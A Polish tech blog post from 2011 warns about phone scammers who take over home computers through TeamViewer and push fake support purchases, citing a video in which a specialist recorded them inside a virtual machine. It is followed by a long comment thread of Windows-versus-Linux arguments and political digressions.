Uwaga na oszustów dzwoniących do domów i przejmujących komputery

  • Home
  • /
  • Blog
  • /
  • Uwaga na oszustów dzwoniących do domów i przejmujących komputery

Data: 9 grudnia, 2011

Istnieje pewien rodzaj internetowego oszustwa, w którym z dalekiego wschodu dzwonią do Was rzekomo pracownicy firmy naprawiającej komputery, nakłaniając do uruchomienia określonych poleceń. Po przejęciu kontroli nad Waszym systemem operacyjnym (Waszymi kończynami), wyświetlają określone komunikaty na ekranie sugerując problem z systemem i szybką pomoc. Kończą odnośnikiem do formularza gdzie należy kupić oprogramowanie za kilkaset dolarów :] Czy kupujecie prawdziwe oprogramowanie czy tylko oddajecie swoje dane do karty kredytowej – nie wiem ale sam proces jest dość prosty choć na swój sposób skomplikowany ;]

Pech chciał, że oszuści ponownie trafili na specjalistę, który od samego początku zwodził ich i oszukiwał :]. Uruchomił wirtualny system operacyjny i udawał, że nie ma pojęcia co się dzieje by nagrać zachowanie oszustów. Cała akcja trwa około godziny, w tym czasie rozmowę prowadzi kilka osób – ewidentny podział kompetencji, pierwszy oszust przekonuje do uruchomienia oprogramowania TeamViewer dzięki, któremu możliwa jest zdalna kontrola systemu operacyjnego, następnie drugi wyświetla kilka magicznych poleceń oraz wpisuje na ekran tekst o zakończeniu opieki technicznej – zapierając się, że wyświetlił to system operacyjny ;] itd., kolejne osoby namawiają ofiarę do wypełnienia formularza z danymi do karty kredytowej. Niesamowicie zabawne są momenty gdy ofiara tłumaczy im, że rozumie co robią, a oszuści w zaparte wykonują swoją robotę.

W całym tym działaniu widać dalece zaawansowany model biznesowy, w który zaangażowany jest kilka rodzajów osób, oszuści są przygotowani, starają się odpowiednimi tekstami (zapewne wiarygodnymi dla zwykłych zjadaczy myszek) przekonać, że mają rację i należy podążać krokami, które wskazują. Pod koniec filmu gdy oszukujący oszustów przyznaje się, że już raz o nich napisał na swoim blogu i wciąż próbują go oszukać – nagle starają się przeciągnąć maksymalnie rozmowę zmieniając temat – a przy okazji próbując usuwać pliki systemowe z katalogu Windows oraz odwiedzając strony pornograficzne :] Oczywiście nie zdając sobie sprawy, że działają w wirtualnym systemie operacyjnym.

Polecam cały film i zalecam ostrzeżenie, zwłaszcza starszych członków swojej rodziny przed tego typu oszustwami, zwłaszcza, iż telefonowali do ofiary na telefon stacjonarny co w pewnym stopniu zmniejsza podejrzenia. Mimo faktu, iż dzisiaj tego typu przekręty odbywają się w języku angielskim – nie znamy dnia ani godziny…

Podobne wpisy

Twój adres email nie zostanie opublikowany. Wymagane pola są oznaczone


  1. Dreadlish pisze:

    Chwilę to już ma… czy tak czy tak – dobre zawodniki 😀

  2. morsik pisze:

    Na Osblog z tym… to nie jest news.

  3. bothunterspl pisze:

    Akcja jest z wczoraj. Dopiero jutro to będzie suchar ;]

    Jaka jest definicja NEWSa? Za FAQ:

    "najnowsze i najciekawsze wydarzenia ze świata IT, zarówno tego otwartego, związanego z ruchem wolnego oprogramowania, jak i tego własnościowego, związanego z takimi firmami jak Microsoft, Apple czy Adobe. Piszemy o software i o hardware, o wydarzeniach biznesowych i o społeczności"

    IMHO jest to ciekawe wydarzenie ze świata bezpieczeństwa IT, ma niecałe 24h (ostatnia wersja) i zawsze masz możliwość by nie czytać, nie komentować, nie plusować, nie jęczeć :] Ale wolisz czas zmarnować na tak wartościowe komentowanie…

    1. jarek pisze:

      Od kiedy jakas tam sesja zdalna via TeamViewer to "najnowsze I NAJCIEKAWSZE" wydarzenie IT? News natomiast spelnia kryterium "spam promujacy kolejny blog". I tak, mam czas komentowac i jeczec bo jestem spamhunter. Uprasza sie zakopac to, wyrzucic zeby nawet w zakladce "wszystkie newsy" nie smiecilo.

      1. zx81 pisze:

        Na pewno ciekawsze to niż kolejny bzdet na temat rewelacyjnego i jedynego w swoim rodzaju wypustu kloacznego, znanego powszechnie jako "śmindołs łosiem".

    2. troll pisze:

      Akcja jest sprzed ponad miesiąca. To już trzeci filmik o scammerach z Global IT http://hackedgadgets.com/2011/10/27/hacked-gadget… http://niebezpiecznik.pl/post/historia-pewnego-sc…

  4. Ahaha co za debile można się uśmiać.
    Najlepszy moment jak odpalili przez TeamViewiera konsole Windows, wpisali, że software stracił gwarancje i próbowali przekonać gościa, że to system sam wypisał informacje. 🙂

  5. Ot miejsca "pracy", które generuje microsoft…

      1. Tworzy kulawy system, który jest podatny na wirusy, więc użytkownikowi wydaje się normalnym, że z jego komputerem może być coś nie tak.

        1. macbirdie pisze:

          Microsoft najwyżej "stworzył" użytkowników, dla których komputer to czarna skrzynka, która udostępnia fejsbuka i mejla.

          Czasy windows 95 dawno się skończyły. Teraz Windows jest tak samo podatny na "wirusy" jak każdy inny. PEBKAC.

          1. Żyjesz w jakimś odrealnionym, świecie, który sam sobie stworzyłeś.

            Wirusy dostają się głównie przez oprogramowanie microsoftu, którego niezliczone błędy pozwalają wykonać złośliwy kod: internet explorer, ms office, windows media player, programy używające silnika IE (trident) do renderowania.
            Kolejnym winnym jest sam system Windows. Wykonuje pliki autostartu z zewnętrznych urządzeń. Co więcej, błędy w obsłudze FAT pozwalają wykonać kod ze spreparowanego systemu plików z uprawnieniami administratora (błąd nie naprawiony od lat, chyba CIA nie pozwala albo wymaga ogromnej przebudowy błędnego u podstaw projektu tego systemiku). System plików na pendrive dostępny z pełnymi prawami zapisu, więc wirus z komputera też łatwo przenosi się na innego pendrive i dobrze się tam ukrywa. Stąd plaga wirusów nie gasnąca od ostatnich kilku lat. Błędy microsoftu to także idiotyczne funkcje systemu, jak np. ukrywanie rozszerzeń plików, dzięki czemu użytkownik nie odróżni pliku obrazka od pliku exe z ikoną taką jaką mają obrazki – super pomysł. Kolejnych niedoróbek i błędów jest bez liku.

            Teraz twoja kolej: napisz jakie błędy ma "każdy inny" system, o którym mówisz.

          2. Agent CIA pisze:

            Dokładnie! Nie zezwalam od wielu lat na załatanie błędu w obsłudze systemu FAT. Bo NIE!

          3. troll pisze:

            > Co więcej, błędy w obsłudze FAT pozwalają wykonać kod ze
            > spreparowanego systemu plików z uprawnieniami administratora

            Już któryś raz o tym wspominasz. Możesz podać źródło tej informacji? CVE?

          4. jarek pisze:

            CVE? Jakis konkretny link? Od o_O? Nie za duzo wymagasz? Ten kolo ma pare takich swoich ulubionych 'konikow', bug w FAT, wirusy samoistnie przeskakujace z USB na system itp. Te bugi sa jak marsjanie, wszyscy zesmy tu juz o nich slyszeli, tylko jakos nikt nie moze ich zobaczyc. A inne freetardy siedza i lykaja to bredzenie bo gladko im wchodzi do freetardziego swiatopoglodu.

          5. Linux ma takie wsparcie, że gdy MS kończy je dla WinXP, i użytkownik rozgląda się za nowym komputerem by zastąpić swój stary sprzęt do edycji tekstów i czytania maili, użytkownik Linuksa wymienia już czwarty komputer, bo przy nowej wersji systemu musiał kupić nowy komputer, a starszych wersji wielu dystrybucji w sieci po prostu nie ma. Może również instalować "lekkie" Linuksy, które, w porównaniu do starszych wersji dojrzałych dystrybucji na ówczesne komputery, mają zadziwiająco mało możliwości (porównaj np. 10-letni Mandrake 8 z dowolnym lekkim Linuksem pod względem dowolnych możliwości, szczególnie typowego "office", jak i obsługi polskich znaków – w większości lekkich Linuksów na xvesa – niemożliwe bez przebudowania źródeł x-serwera).
            Całe szczęście są, choć w fazie rozwoju, inne systemy otwarte nie mające takich problemów.

            Kolejna sprawa – sprzęt. Jak mam kartę przechwytywania obrazu, która wykrzaczała się na XP, mogłem grzebiąc w INIku zainstalować wszystko oprócz problematycznych sterowników do sprzętowego kodera, i karta działała bez kodera, kodowanie robił soft. Podobnie pod Win7 instalowało się niektóre karty sieciowe, wyłączając sterowniki niekompatybilnych "udogodnień". W Linuksie/BSD wiele sterowników to moduły do Kernela, które można:
            a. załadować
            b. nie załadować
            Normalnie szeroki wachlarz konfiguracji :D. A jeszcze gorszy jest fakt, że MOŻE być lepiej, naprawdę, modułom można przecież przesyłać parametry, można użyć plików konfiguracyjnych, tylko komu piszącemu sterownik pod Linuksa się chce implementować takie rzeczy?
            Szczytem wszystkiego był sterownik pod BSD/Linuksa do jakiejś karty dźwiękowej (bodajże coś z ESS Maestro). Nazwałbym to bodzeniem urządzenia bliżej nieokreślonymi binarkami sporej długości, bez żadnego komentarza ani dokumentacji, zarówno do kodu jak urządzenia. To jest kod jednorazowy – nie idzie go rozbudować.

            Ponadto każdy rozsądny użytkownik Windows klika te 8 razy i blokuje autostart z pendrive. Użytkownik Linuksa musi stworzyć pierdylion plików konfiguracyjnych, by w ogóle pendrive zechciał się pokazać, a zapis na niego to zupełnie inna sprawa.

          6. Radek pisze:

            W sumie to nie wiem, o czym Ty tu piszesz (a Linuksa używam od ładnych paru lat), ale podskurnie czuję, że to jakiś bełkot/bullshit…

          7. lis legalis pisze:

            Dawno nie było TAKICH głupot na OSNews. Ktoś za te idiotyzmy zapłacił?

          8. Jorge pisze:

            Idzie w zaparte 🙂

          9. zra, widać, że ostatnio Linuksa używałeś z 10 lat temu. Albo, co bardziej prawdopodobne, nie widziałeś go nigdy na oczy.

            Pendrive w środowiskach graficznych wykrywany i obsługiwany jest automatycznie.

            Choć nie wiem po co to piszę, bo do tak pustej głowy jak twoja chyba nic nie trafi.

          10. Miałem katorgę z montowaniem pendrive pod bodajże Archem. Arch+LXDE i zamontowanie urządzenia sprawia problemy. Tak samo Debian+LXDE, akurat na tym samym komputerze (na maszynie wirtualnej takie rzeczy nie sprawiają najmniejszych problemów). W Debianie (5) była taka różnica, że flashdysku nawet nie wykrywało jako urządzenia. I kolejne udziwnienie: Jeżeli X'y szły z vesy (co przy tej karcie grafiki oznaczało 640x480x8), to pendrive działał, można go było sobie mount'ować i umountować. Jeżeli użyłem sterownika do mojej karty – nie.
            Chociaż ze strony Debiana chyba się dowiedzieli, bo w Squeeze zwinęli cały sterownik ze stabilnego repo.
            W każdym razie udało się zrobić obsługę pendrive z Archem, sprzęt działa do dziś.
            Ale oczywiście, Ty jako prawdziwy Linuksiarz jesteś ekologiczny i co pól roku wymieniasz sprzęt by tylko aktualna wersja poszła.

          11. Skąd wiesz co ja robię? Może zachowaj te "oczywistości" la siebie.

            Mam też dużo starego sprzętu na Linuksie. Większych problemów nigdy nie było, ale jeśli chcesz opisywać problemy ze sprzętem z lat 90tych, to może odniesiesz to do jakości windowsa 98 albo Me, bo tak chyba by należało?

          12. No to jedziemy:
            Win98 + MS Office – maszyna do pisania.
            Jeżeli nie instalujemy wszystkiego na siłę, to jest to nawet w stanie pracować stabilnie.
            Wymaga: Pentium 133MHz MMX / 48MB RAM.
            Mandrake 8 do podobnego działania wymaga 64MB.
            Współczesny lekki Linux – np. Tiny Core – nie jest możliwe zreprodukowanie takiego działania (brak polskich liter). Tak samo DSL.
            Inne "lekkie" Linuksy (z LXDE/XFCE) wymagają od 256MB RAMu.

            Powiedz mi kurczę jakie distro stosujesz na starym sprzęcie, bo mam lapka z Win95 (P133MHz 32MB RAM) działającego jako maszyna do pisania i sprzęt do maili i zmieniłbym na coś lekkiego open.

          13. Druedain pisze:

            Ale o co Ci właściwie chodzi? Skoro DSL według zapewnień może działać nawet na 8MiB RAMu, to tym bardziej na 32MiB RAMu. http://www.jwz.org/xkeycaps/ tym mapujesz polskie litery.
            Ted do pisania, a do mejli łatwo coś znajdziesz.

          14. macbirdie pisze:

            Zdaję sobie sprawę że trola się nie karmi, ale czasem po prostu nie mogę sobie odpuścić.

            Żyjesz biedaku w świecie Windows XP, Office XP i kont z pełnymi prawami administratora, nawet tam gdzie one są zupełnie niepotrzebne.

            Windows nie wykonuje plików autostartu z zewnętrznych urządzeń już od premiery Visty bodajże.

            Od dawna są też aktywne zabezpieczenia zapobiegające odpalaniu załączników typu ".jpg.scr". A same już od przynajmniej Outlooków 2000 się same nie odpalają w wyniku jakichkolwiek błędów. Jeśli komuś bardzo zależy, oby otworzyć "Justin Bieber Hit With A Shoe.jpg.scr", to i tak to zrobi. PEBKAC.

            Nie wiem czy wiesz, ale pendrive można sformatować w innym systemie plików, m.in. NTFS. To taki system plików który do rodziny Windows zawitał tak może z 15 lat temu i obsługiwany jest także przez starocia XP.

            To nie wina Microsoftu że wszystkie pendrivy są formatowane w FAT32. PEBKAC.

            Spojrzenie na CVE naprawdę nie boli, o ile się nie jest się zaślepionym nienawiścią do Microsoftu.

            Bo i OS X i desktopowe aplikacje linuksowe też mogą się pochwalić prężną tam obecnością.

            Z ostatnich raportów CVE: Chrome (w chromebookach, opartych, o zgrozo, na linuksie), nginx (windows, linux), GnuTLS (linux), Blackberry Playbook (qnx), Dreambox (linux), dhcpd (linux), Opera (windows, mac, linux), włam do Windows 7 SP1 poprzez Javę (od Oracle), włamy poprzez Flasha (od Adobe) do OS X i Windows. Są też wpisy o błędach w OpenOffice (od oracle), Firefoksie (Mozilla). A ile było dotąd wieści w ostatnich czasach o elewacji uprawnień na lokalnej maszynie z powodu błędu w kernelu linuksa? Nie było żadnych włamów do iOS przez Safari (WebKit)? A do Androida przez ich przeglądarkę (WebKit)?

            No. To skoro już wróciłeś z czytania o premierze KDE 3.0, witam w roku 2011.

          15. Ano tak, zapomniałem o wspaniałym UAC, który jest jedną wielką luka bezpieczeństwa pozwalającą wykonać dowolny kod z prawami administratora.
            Nie chce mi się kolejny raz szukać linka do gotowego exploita.

          16. _asd pisze:

            tak, kazdy to widział – exploit Rafaela Rivery, który nie działa gdy pracujesz na koncie usera lub na adminie z UAC podciągniętym na maxa.

          17. "Pracujesz" to eufemizm przy takim ustawieniu UACa… Raczej męczysz się z systemem-zabawką.

            Poza tym 99,9% użytkowników nie zmienia tych ustawień, tak samo jak nie wyłącza ukrywania rozszerzenia plików.

          18. _asd pisze:

            a praca z UAC-em na koncie użytkownika – co w tym jest nie tak? nie zmieniasz ustawień/katalogów systemowych, uac milczy. chcesz zmienić coś ? odpalasz powershella z uprawnieniami prawdziwego admina,

          19. NTFS nie nadaje się na pendrive. Do szkoły uczyć się podstaw.

          20. dlatego masz exFAT, dla XP dostępny jako KB955704, V/W7 mają OOTB

          21. Super. Leczmy błędy bezpieczeństwa obsługi jednego systemu plików innym.

            Poza tym świetny system plików, który nie będzie kompatybilny z xp OOTB. A XP to dzisiaj nadal najpopularniejszy system.

          22. _asd pisze:

            no coż, ja sobie daję radę, Ty za to jak sobie zrobisz jakiś ext2 (bo wiadomo, FAT ssie) na pendrivie, nie będziesz w lepszej sytuacji niż ja z exFAT.

          23. ext2 to przynajmniej system plików, fat/exfat to zabawki.

          24. pow3rshell pisze:

            przecież jest jeszcze NTFS a ty się uparłeś na jakiś staroć

          25. Mówić jak do głupiego.
            ext2 nadaje się na pendrive. ntfs nie.

          26. _asd pisze:

            a ja od chyba dwóch lat używam wirtualnego dysku w NTFS na pendrivie w kontenerze exFAT i nie ma żadnych problemów – ani wydajnościowych, ani z buforowaniem, a jednocześnie mam możliwość ustawiania praw dostępu. Do tego wyłączone t wyłączone LastTimeStamp i generowanie nazw 8.3 i jest git.

          27. Polecam poniższą dyskusję, panowie podają kilka sensownych argumentów przeciwko NTFS na penie: http://blogs.msdn.com/b/oldnewthing/archive/2004/…

          28. Czytałem niedawno o premierzy KDE 4.8, a ty widać nie masz żadnych argumentów a innymi się sam ośmieszasz, że musisz takie osobiste wrzuty uskuteczniać. Współczuję ci.

          29. macbirdie pisze:

            Jeśli nie wiesz, po co była ta "osobista wrzuta", to znaczy że nie zrozumiałeś totalnie wypowiedzi.

          30. > To nie wina Microsoftu że wszystkie pendrivy są formatowane w FAT32

            Wina microsoft, bo:
            – żaden inny system plików obsługiwany w windows się na pendrive nie nadaje.
            – to ich wina, że obsługa FAT ma w windowsie błędy bezpieczeństwa.

          31. _asd pisze:

            exFAT jak powyżej. Tak z ciekawości – prosiłem Cie jakiś czas temu, żebyś pokazał swój kod open sourcowy, który ponoć można znaleźć na niektórych dystrybucjach, ale jakoś nie byłeś skory do tego choć deklarujesz się jako zwolennik open source.

          32. CVE microsotu to nie system śledzenia błędów projektów opensource. Tam nie ma błędów niewygodnych albo jeszcze nie załatanych. Ot ukrywanie prawdy o problemach i security by obscurity. Norma w closed source, a microsoft w tym bagnie przoduje.

          33. cutugno pisze:

            "CVE microsotu"

            LOL 🙂

          34. Nie za bardzo rozumiem z czego lolujesz.

            Microsoft nie udostępnia żadnych informacji na temat swoich niezałatanych błędów (czyli większości, które są znane i aktywnie wykorzystywane). Więc na jakiej podstawie mają trafić do CVE? Może popatrz w jego hostorię i zobacz jak mało tajnych błedów się w nim pojawiało przed wydaniem łatki i oficjalnym potwierdzeniem błędu przez microsoft.

            Więc tak: CVE microsoftu o niczym nie świadczy i nie warto tego nawet czytać.
            To tak jakbyś miał bazę antywirusową wykrywającą 1% znanych wirusów (pomijam zbędność programów antywirusowych na porządnych systemach, to tylko przykład).

          35. cutugno pisze:

            "Nie za bardzo rozumiem z czego lolujesz."

            Zupełnie, ale to zupełnie mnie to nie dziwi.

          36. Ynteligentne komentarze masz. Jak zwykle.
            Twój nędzny poziom argumentów też nikogo już nie dziwi…

          37. Qu84 pisze:

            Ta twoja niechęć do Microsoftu i Windowsa jest patologiczna. Skąd ta frustracja? Dlatego, że zdecydowana większość użytkowników wybiera Windowsa? Skoro wybiera to z jakiegoś powodu…ale zaraz…oni wszyscy są przecież zmanipulowani i ogłupieni. Tylko ty dokonujesz racjonalnych wyborów.

          38. A nie pomyślałeś, że może dlatego, że windows to badziew który utrudnia wielu ludziom pracę przez to, że implementuje zabawkę, a nie system operacyjny?

          39. pow3rshell pisze:

            a może ludzie potrzebują "zabawki" a nie ciągłego dłubania w konsoli i poznawania miliona komend by zainstalować flasha w IceWeasel

          40. Druedain pisze:

            Z całej tej głupkowatej dyskusji Twój argument jest chyba najśmieszniejszy. Bo w końcu miliony much nie mogą się mylić ^^

            Od razu uprzedzam pytani z wątpliwościami: jeśli możliwość kupna laptopa z Windowsem, bądź nie kupienie laptopa, uważasz za wybór to czy na łożu śmierci będziesz się cieszył, że, na przekór wszystkich, wybierasz śmierć? 😀

          41. cutugno pisze:

            "jeśli możliwość kupna laptopa z Windowsem, bądź nie kupienie laptopa, uważasz za wybór"

            Ty chyba sobie wyobrażasz jakiś wszechświatowy spisek Microsoftu i OEMów w celu uniemożliwienia ci "wyboru" a sprawa jest znacznie prostsza: w mediamarktach laptopów z Linuksem nie znajdziesz, bo jest na nie za mały zbyt żeby je trzymać w sklepie. Znajdziesz je natomiast – i to porządnych producentów – w mniejszych sklepach jak popytasz albo na Allegro.

            Więc wybór jak najbardziej masz, tylko musisz się trochę postarać. I zrozumieć, że rolą mediamarktów nie jest dawanie klientom jakiegoś abstrakcyjnego "wyboru" tylko zarabianie pieniędzy – i jeśli wystawienie laptopa z Linuksem się nie opłaca (bo zajmie miejsce lepiej sprzedającemu się innemu) to go po prostu nie wystawią.

          42. Druedain pisze:

            Okej… Nie no, wiesz, śmiesznie się czytaj takie komentarze pod własnym adresem 😀 Zapomniałeś jeszcze dopisać, że od 10 lat słucham białego szumu szukając duchów w radiu i noszę blaszaną czapkę na wypadek ataku kosmitów.

            A tak serio, to nie wiem skąd Ci się wzięły tak daleko idące wnioski. Mógłbym napisać coś podobnego o tym, że sklep ma zarabiać itd. ale skoro sam to napisałeś to wydaje mi się, że ja nie muszę. Jest jednak drobny szczegół. Nie wiem czy wynika to z oszczędności w sektorze wsparcia technicznego, czy innej inszości (nie wierze w układy z MS, choć pochopnie też bym ich nie wykluczał, ze względu na historię tej firmy). Przede wszystkim ja nie oczekuję, że co drugi laptop / biurkowiec będzie jechał na Ubuntu (czy czymś tam), tylko tego, że komputery i systemy będą dostarczane NIEZALEŻNIE lub ja przychodząc do takiego sklepu powołując się na prawo będę mógł zażądać od sklepu zabrania wgranego systemu i oddanie mi wartości jaką poniósł producent na jego tam umieszczenie (czyli pewnie trochę mniej niż wartość pojedynczej licencji ze względu na hurtowe kupowanie przez producenta tych licencji). Jeżeli w sklepie jakiś kretyn (a już jeden tutaj na OSNEWS coś takiego pisał) traktuje mnie jak głupka z którego się można pośmiać i ja dostaję figę z makiem, to coś jest bardzo nie w porządku. Tyle w temacie, a ty na przyszłość jak już masz pisać takie niby śmieszne rzeczy, to pomyśl dwa razy i napisz to tak, żeby one były na prawdę śmieszne, a nie żałosne.

          43. cutugno pisze:

            "tylko tego, że komputery i systemy będą dostarczane NIEZALEŻNIE"

            Czyli twoje oczekiwanie jest jeszcze głupsze niż myślałem! O ile przynajmniej naciski (delikatnie mówiąc) MS na OEMów wcześniej były, chociaż to już odległa przeszłość, to oczekiwanie, żeby olać 99% klientów którzy oczekują komputera z systemem, żebyś mógł dostać "niezależnie" jest już totalnie oderwane od rzeczywistości.

            "ja przychodząc do takiego sklepu powołując się na prawo będę mógł zażądać od sklepu zabrania wgranego systemu i oddanie mi wartości"

            Znów – nierealne oczekiwania, że każdy producent, hurtownik i sieć sklepów będzie organizować (na własny koszt!) procedury zwrotu systemu tylko dlatego, że nie chce ci się poszukać na Allegro (to naprawdę łatwe, wpisujesz "laptop linux") laptopa z Linuksem. Niektórzy, owszem, tak robią – jeśli mają dobrą wolę i uważają, że obsługa takiej procedury im się opłaci.

          44. Druedain pisze:

            Gdyby na porządku dziennym były umowy MS ze sklepami mającymi wykluczać możliwość sprzedaży innych komputerów niż Windowsem, to byś teraz pisał o moich nierealnych pomysłach na walkę z tego typu procederem.

            Jeśli myślisz, że to ja mam problem z zakupami, to pomyśl jeszcze raz.

          45. cutugno pisze:

            "byś teraz pisał o moich nierealnych pomysłach na walkę z tego typu procederem. "

            A uważasz, że gdyby nie amerykański DOJ to mógłbyś mieć realny pomysł na walkę? Jej, Ty naprawdę jesteś niezły, weź może od niechcenia obal Putina albo przynajmniej Łukaszenkę.

          46. Druedain pisze:

            To, że dzisiaj sprawa wygląda jak wygląda nie oznacza, że za rok coś się nie ruszy.

            Co do Putina, to możesz się zdziwić za kilka miesięcy. Nie mówię, że Putin zniknie z życia politycznego, ale trudno mi sobie wyobrazić, by pod wpływem fali protestów nie zaczęli racjonalizować swojej polityki. Pierwszy i ostatni komentarz z mojej strony na temat polityki w tym miejscu.

          47. cutugno pisze:

            "Co do Putina, to możesz się zdziwić za kilka miesięcy."

            Niby czym? Rosja jest dyktaturą i sprawa jest prosta – jeśli zachowa kontrolę nad siłami zbrojnymi i policyjnymi to nic się nie zmieni, jeśli nie, to poleci. Może być też wojna domowa.

            W to, że nagle złagodnieje i odpuści chyba nie wierzysz? Tym bardziej, że tam trudno o "obronę cywili" przez NATO, jak w Libii.

            "trudno mi sobie wyobrazić, by pod wpływem fali protestów nie zaczęli racjonalizować swojej polityki. "

            No tak, bo nigdy dotąd nikt tam nie protestował. Hahaha.

          48. Owszem, nikt nie protestował.

            W latach 80 rozmontowano komunizm bo obawiano się, że taka Solidarność powstanie w Rosji, a wtedy ich komunistów powywiesza.

            Ale ty pewnie wierzysz, że komunizm wałęsa rozwalił? On też w to wierzy, ale on jest chory.

            Komunizm załatwiło 10 milionów ludzi w Polsce – fakt, że 1/4 społeczeństwa zapisała się do Solidarności. I to w kraju, gdzie najwięcej było agentury i sprzedawczyków należących do partii.

            To spowodowało, że w Rosjo podjęto decyzję o rozmontowaniu chorego systemu gospodarczego i przekazaniu władzy komuś pod kontrolą.

            Ale do końca nie wyszło, bo w wielu krajach system posypał się całkowicie.
            Ale nie w Polsce. Tu okrągły stół – układ przekazania władzy kolesiom i utrzymania wpływów – przetrwał i mamy teraz postkomunizm.
            Jesteśmy jedynym krajem, w którym nie było żadnej formy lustracji. Podziękuj za to rokicie-od-infamii, tuskowi-policzmy-głosy, wałęsie-ja-ich-jutro-nie-mogę-do-gabinetu-wpuścić (o legalnym rządzie), bez-nadziejnemu-kwaśniewskiemu i innym tego pokroju zdrajcom i ścierwom.
            Polecam film Nocna Zmiana, może czegoś się chociaż w życiu dowiesz.

          49. cutugno pisze:

            "Komunizm załatwiło 10 milionów ludzi w Polsce"

            Bzdura, te "10 milionów" (co to owszem się zapisało, ale już nawet pałą po dupie za Solidarność dostać niezbyt pragnęło) szybciutko spacyfikował Jaruzel. A władzę oddali jak się dowiedzieli, że koniec kasy i innego wsparcia od Wielkiego Brata i mieli wybór – albo oddać władzę za jakie takie gwarancje nietykalności, albo robić tu Północną Koreę. End of story.

            Ale Ty pewnie wierzysz w 10 milionów i może jeszcze Matkę Boską niekoniecznie w klapie.

          50. Druedain pisze:

            Nie zgodzę się (z o_O też z resztą), ale nie będę tutaj o polityce pisać.

          51. mikolajs pisze:

            "Ty chyba sobie wyobrażasz jakiś wszechświatowy spisek Microsoftu i OEMów "
            Jak pokazuje historia firmy nie byłoby to nic nadzwyczajnego. I moim zdaniem istnieje spisek, aby nie sprzedawać komputerów bez systemu. Boją się, że gdyby nie sprzedawać z systemem to ludzie instalowaliby częściej piraty. Przy okazji gorzej mają użytkownicy Linuksa, ale osobiście nie narzekam, w sieci można zawsze znaleźć ciekawy model bez systemu lub z Linuksem. Jednak wiele osób niepotrzebnie wydaje pieniądze na Windows, bo Linuks spełniłby oczekiwania wielu użytkowników.

          52. macbirdie pisze:

            Wyobraź sobie że ktoś sprzedaje telewizory bez wgranego systemu operacyjnego. Ot po prostu skrzynka z ekranem, w której w domu trzeba jeszcze coś zainstalować, by móc zacząć używać.

            A teraz zrób szybkie s/telewizor/komputer.

            Dla przeciętnego konsumenta nie ma żadnej różnicy. I im prostsze, a co za tym idzie popularniejsze komputery się robią, tym bardziej będzie postępowało zamykanie ich do postaci czarnych skrzynek, które po wyciągnięciu w domu z pudełka po prostu działają bez żadnej dodatkowej magii.

            Niektórzy konsumenci może nawet wiedzą, że aby odpalać fajne gry i ofisa, potrzebny jest łindołs, ale większości chodzi po prostu o to, by odpalać fajne gry i ofisa – nawet nie zdają sobie sprawy, że może być coś innego niż łindołs. Ma działać.

            Ale tłumaczenie tego innym geekom zamkniętym w swoim elitarnym światku jest tak samo sensowne, jak próba tłumaczenia takiemu Zwykłemu Userowi, że nasza klasa ma URL nk.pl i tak jest szybciej, gdy on uparcie po prostu wpisuje w pasku adresu nk lub nasza klasa i klika w pierwszy wynik w Googlu.

          53. Druedain pisze:

            A potem czytam (nawet tutaj!) kwiatki o darmowym Windowsie do komputera. Gdyby nie było przyzwolenia na piractwo, a nieświadomi klienci byli informowani ile co kosztuje, to nie pisałabyś o tym, że konsument chce Office'a i ewentualnie wie, że chce Windowsa.

          54. cutugno pisze:

            "moim zdaniem istnieje spisek, aby nie sprzedawać komputerów bez systemu. (…) w sieci można zawsze znaleźć ciekawy model bez systemu"

            Sam sobie zaprzeczasz.

            Istnieje po prostu rynek. Jak mam w sklepie 70-80 stanowisk na wystawienie laptopów (nie wiem czy nawet w dużym MM jest tyle) a Linux ma udział w rynku około 1 procenta to na ilu stanowiskach należy wystawić Linuksa żeby sprzedać jak najwięcej? No właśnie.

          55. "to na ilu stanowiskach należy wystawić Linuksa żeby sprzedać jak najwięcej?"

            Na żadnym, bo linuksowcy nie kupują w MM.

          56. I pewnie oczekujesz odpowiedzi równie inteligentnej co pytanie, które zadałeś, czyli "0.7 stanowiska"?
            Nie, kolego, nic z tych rzeczy. Wystawa sklepowa to nie statystyczny zrzut z oferty handlowej, tylko coś, co ma zaciekawić, zachęcić, wręcz olśnić, a tu widok identycznego, brzydkiego jak kupa pulpitu defaultowego Windowsa nie działa zbyt zachęcająco.
            Zresztą problem jest w zasadzie niezależny od wojny systemowo-fanbojskiej. W MediaMarkcie masz wystawioną setkę telewizorów wysokiej rozdzielczości, z których niemal każdy wyświetla ten sam obraz który w dodatku dociera do niego poprzez analogowy splitter. W efekcie wszystkie te telewizorki wyglądają jakby ktoś właśnie zorganizował wyprzedaż po-PRLowskiego złomu.

          57. cutugno pisze:

            "Wystawa sklepowa to nie statystyczny zrzut z oferty handlowej, tylko coś, co ma zaciekawić, zachęcić, wręcz olśnić"

            Dokładnie tak! Wniosek: niezbyt oryginalny i nie podobający ci się pulpit Windows (chociaż w MM to częściej screensaver MM chyba jest) jest znacznie bardziej zachęcający niż piękno Linuksa. Dlatego Linuksa możesz sobie kupić na Allegro a nie w sklepach takich jak MM. Nic na to nie poradzę.

            "jakby ktoś właśnie zorganizował wyprzedaż po-PRLowskiego złomu"

            Musisz być bardzo, bardzo młody.

          58. Tak, oczywiście, że jestem młody. Duchem, dzieciaku.
            Nie zachwycam się byle błyszczącym badziewiem.

          59. "Jednak wiele osób niepotrzebnie wydaje pieniądze na Windows, bo Linuks spełniłby oczekiwania wielu użytkowników. "

            Jak ktoś ma niskie wymagania to Linkuks na desktopie faktycznie może zaakceptować.

          60. Jak ktoś szuka zabawki, to może zaakceptować windowsa.

          61. Qu84 pisze:

            Do mnie pijesz z tymi muchami? Ten tekst nie jest nawet śmieszny. Jest durny. Po pierwsze kwestionujesz fundamentalne prawo rynku, czyli prawo popytu i podaży. Jeśli byłby popyt na laptopy z Linkusem, to na pewno znalazłby się ktoś, kto zacząłby je oferować. Po drugie kwestionujesz racjonalność wyboru, którego dokonało jakieś 95% konsumentów. Na jakiej podstawie? Przekonania, że to ty jesteś najmądrzejszy i ty wiesz najlepiej? Po trzecie co za problem zaraz po kupnie laptopa wywalić niechcianego Windowsa i zastąpić go Linuksem? Użytkownicy, którzy tego nie robią też należą do spisku?

          62. Druedain pisze:

